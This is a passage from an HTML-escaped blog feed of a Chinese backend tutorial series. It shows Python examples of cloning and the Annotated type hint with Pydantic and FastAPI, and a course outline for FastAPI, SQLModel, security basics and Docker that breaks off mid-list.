&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;c_old&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CircleOld&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;radius&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;5.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;c_old&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_scale&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_radius&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;c_old 修改后半径: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;c_old&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;radius&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 输出: 10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;cloned_old&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c_old&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;克隆出的对象类型: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cloned_old&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 输出: &amp;lt;class &amp;#39;__main__.ShapeOld&amp;#39;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;cloned_old&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_radius&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# AttributeError: &amp;#39;ShapeOld&amp;#39; object has no attribute &amp;#39;set_radius&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="类型注解annotated-pattern"&gt;类型注解(Annotated Pattern)
&lt;/h4&gt;&lt;p&gt;现代(3.9+): 用于给类型附加额外的元数据，主要被 FastAPI、Pydantic、Typer 等现代框架使用，用于实现依赖注入、数据校验等功能。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Annotated&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pydantic&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;StringConstraints&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Pydantic 数据校验&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Annotated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;StringConstraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;min_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Annotated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ge&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;le&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Annotated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;^[\w\.-]+@[\w\.-]+\.\w+$&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# FastAPI 依赖注入&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Depends&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_db&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 数据库连接逻辑&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Annotated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Database&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Depends&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_db&lt;/span&gt;&lt;span class="p"&gt;)]):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;旧写法:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 没有 Annotated 时，只能在函数体或类定义中通过其他方式实现校验和依赖注入&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pydantic&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseModel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseModel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;min_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ge&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;le&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;^[\w\.-]+@[\w\.-]+\.\w+$&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# FastAPI 早期写法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Depends&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_db&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="type-checking"&gt;Type Checking
&lt;/h3&gt;&lt;p&gt;在 VS Code 中 &lt;code&gt;Ctrl + ,&lt;/code&gt; 快捷键打开设置，或是从左下角打开设置，搜索 &lt;code&gt;Pylance type checking mode&lt;/code&gt;, 有这样的设置：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/backend-tutorial/1.2/1.2-7.png"
width="657"
height="609"
srcset="https://v3n0.com/post/backend-tutorial/1.2/1.2-7_hu_2ccf33054325762d.png 480w, https://v3n0.com/post/backend-tutorial/1.2/1.2-7_hu_b4995b74a552e915.png 1024w"
loading="lazy"
alt="1.2-7"
class="gallery-image"
data-flex-grow="107"
data-flex-basis="258px"
&gt;&lt;/p&gt;
&lt;p&gt;开启之后，Pylance 插件会自动检查你的类型问题，在你运行代码前就帮你指出。&lt;/p&gt;
&lt;p&gt;随便写点小脚本的时候至少开 standard 或者 basic, 但任何严肃项目都肯定是要开 strict 的。&lt;/p&gt;
&lt;p&gt;我的个人习惯是，不管什么时候都开着 strict, 养成良好的代码习惯。&lt;/p&gt;</description></item><item><title>1.1 入门篇教学大纲</title><link>https://v3n0.com/post/backend-tutorial/1.1/</link><pubDate>Sat, 09 Aug 2025 23:56:22 +0800</pubDate><guid>https://v3n0.com/post/backend-tutorial/1.1/</guid><description>&lt;p&gt;:::warning 📌
施工中
:::&lt;/p&gt;
&lt;h2 id="before-beginning"&gt;Before Beginning
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;前置知识需求: CS61A, 或掌握至少一门编程语言（如Python）的扎实基础，理解函数、类、简单数据结构（列表、字典、集合等）、递归等核心编程概念, 畅通的网络环境, 了解Python的基础写法, 基本的英语阅读能力, 提问的艺术, 基础CLI操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="第一部分-后端基础-python--fastapi--sqlmodel"&gt;第一部分： 后端基础 (Python + FastAPI + SQLModel)
&lt;/h2&gt;&lt;h3 id="教学目标一"&gt;教学目标(一)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;快速上手: 让学生在几小时内，从零开始搭建起一个功能完整的 CRUD (增删改查) API。&lt;/li&gt;
&lt;li&gt;建立自信: 通过 FastAPI 强大的自动文档和 SQLModel 的易用性，让学生感受到现代工具带来的便捷，消除对后端的畏难心理。&lt;/li&gt;
&lt;li&gt;文档阅读: FastAPI 有着非常用户友好的文档, 利用它来培养阅读文档的习惯. 这也是本教程选择SQLModel而不是SQLAlchemy的原因之一&lt;/li&gt;
&lt;li&gt;正确使用AI: 不要让Copilot变成Copybot&lt;/li&gt;
&lt;li&gt;整个教程的每个模块会维护和精进同一个项目(不与 Project 1 相同, 教程项目更倾向于教学示范)&lt;/li&gt;
&lt;li&gt;理解或掌握以下知识：&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;路由函数 (Routing) 与 HTTP 方法 (GET, POST, PUT, DELETE)。&lt;/li&gt;
&lt;li&gt;SQL, ORM 与数据库操作 (CRUD)。&lt;/li&gt;
&lt;li&gt;API-服务-数据 的基本三层架构模式。&lt;/li&gt;
&lt;li&gt;中间件 (Middleware) 的作用。&lt;/li&gt;
&lt;li&gt;基本的安全思想.&lt;/li&gt;
&lt;li&gt;基本的单元测试和集成测试概念和写法&lt;/li&gt;
&lt;li&gt;配置管理: 学会分离开发, 测试, 生产环境&lt;/li&gt;
&lt;li&gt;学会现代部署: 掌握使用 Docker 和 Docker Compose 对应用进行容器化部署的基本技能。&lt;/li&gt;
&lt;li&gt;学会阅读框架文档&lt;/li&gt;
&lt;li&gt;基本的 Git 团队协作能力&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="课程大纲一"&gt;课程大纲(一)
&lt;/h3&gt;&lt;h4 id="lab-0"&gt;Lab 0
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;前后端的基本概念, 后端是什么&lt;/li&gt;
&lt;li&gt;VSCode 配置, &lt;a class="link" href="https://fastapi.tiangolo.com/zh/python-types/" target="_blank" rel="noopener"
&gt;环境变量, Python 虚拟环境, PEP规范和类型标注&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;uv Python 环境管理&lt;/li&gt;
&lt;li&gt;Git基本配置, Github&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块一-api-和-http"&gt;模块一: API 和 HTTP
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;API 和 路由函数&lt;/li&gt;
&lt;li&gt;路径参数和查询参数&lt;/li&gt;
&lt;li&gt;HTTP, GET 和 POST 方法&lt;/li&gt;
&lt;li&gt;请求体和数据校验(pydantic)&lt;/li&gt;
&lt;li&gt;API 文档 (展示FastAPI的自动生成的 Swagger 文档)&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;阅读文档, 找到如何使用 FastAPI 构造一个上传文件的接口.&lt;/li&gt;
&lt;li&gt;通过阅读文档, 发现并解决 FastAPI 中路由函数先后定义产生的问题.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;HTTP MDN, 图解HTTP&lt;/li&gt;
&lt;li&gt;RESTful API 和 WebSocket&lt;/li&gt;
&lt;li&gt;API测试工具&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块二-数据库"&gt;模块二： 数据库
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;SQL语句: 手动使用SQL来进行基础的查询和数据库操作&lt;/li&gt;
&lt;li&gt;ORM 与模型: ORM概念, 使用 SQLModel，定义第一个数据模型。&lt;/li&gt;
&lt;li&gt;连接数据库: 使用 SQLite 作为入门数据库，配置数据库连接。&lt;/li&gt;
&lt;li&gt;实现 CRUD: 编写完整的增、删、改、查四个 API 接口。&lt;/li&gt;
&lt;li&gt;数据库事务的概念和重要性(ACID), SQLModel 的 session&lt;/li&gt;
&lt;li&gt;索引设计&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;提供一个复杂的数据库 ER 图, 要求编写几个不同复杂度的 SQL 查询语句, 覆盖连接 (JOIN), 分组 (GROUP BY), 子查询等。&lt;/li&gt;
&lt;li&gt;用ORM的关系预加载优化一个 N+1 查询问题.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;SQL, NoSQL(MongoDB, Redis, Neo4j)&lt;/li&gt;
&lt;li&gt;索引, 外键, 多对多&amp;hellip;&lt;/li&gt;
&lt;li&gt;alembic 等数据库同步工具&lt;/li&gt;
&lt;li&gt;ACID、CAP 和 BASE&lt;/li&gt;
&lt;li&gt;软删除&lt;/li&gt;
&lt;li&gt;SQL 注入&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块三-代码的规范化"&gt;模块三： 代码的规范化
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;问题引入&lt;/strong&gt;: 当业务逻辑变复杂时，所有代码都写在路由函数里的坏处。&lt;/li&gt;
&lt;li&gt;重构代码: 引入三层架构思想, 把先前的代码清晰分为API层, 服务层, 路由层.&lt;/li&gt;
&lt;li&gt;如何避免过度设计&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;IoC 和 依赖注入&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://refactoringguru.cn/design-patterns/catalog" target="_blank" rel="noopener"
&gt;22种设计模式&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SOLID 原则&lt;/li&gt;
&lt;li&gt;领域驱动设计&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块四-中间件"&gt;模块四： 中间件
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;中间件基本概念&lt;/li&gt;
&lt;li&gt;中间件一般应用场景&lt;/li&gt;
&lt;li&gt;错误处理中间件(统一错误响应格式)&lt;/li&gt;
&lt;li&gt;CORS中间件&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;编写一个简单的记录API日志的中间件, 统计请求处理时长.&lt;/li&gt;
&lt;li&gt;实现自定义异常处理中间件&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块五-基本的安全思想"&gt;模块五: 基本的安全思想
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;JWT Token&lt;/li&gt;
&lt;li&gt;passwd_hashed&lt;/li&gt;
&lt;li&gt;CORS&lt;/li&gt;
&lt;li&gt;环境变量管理敏感信息&lt;/li&gt;
&lt;li&gt;永远不要相信用户的输入&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;实现一个完整的注册登陆流程, 密码哈希存储&lt;/li&gt;
&lt;li&gt;利用中间件实现API的Token鉴权&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块六交付你的第一个后端服务-容器化"&gt;模块六：交付你的第一个后端服务 (容器化)
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Docker 入门: 讲解什么是 Docker, 它解决了什么问题.&lt;/li&gt;
&lt;li&gt;Dockerfile: 为 FastAPI 应用编写一个 Dockerfile&lt;/li&gt;
&lt;li&gt;Docker Compose&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;除了Docker以外的容器, Podman, container.d&lt;/li&gt;
&lt;li&gt;CI/CD, Github Actions&lt;/li&gt;
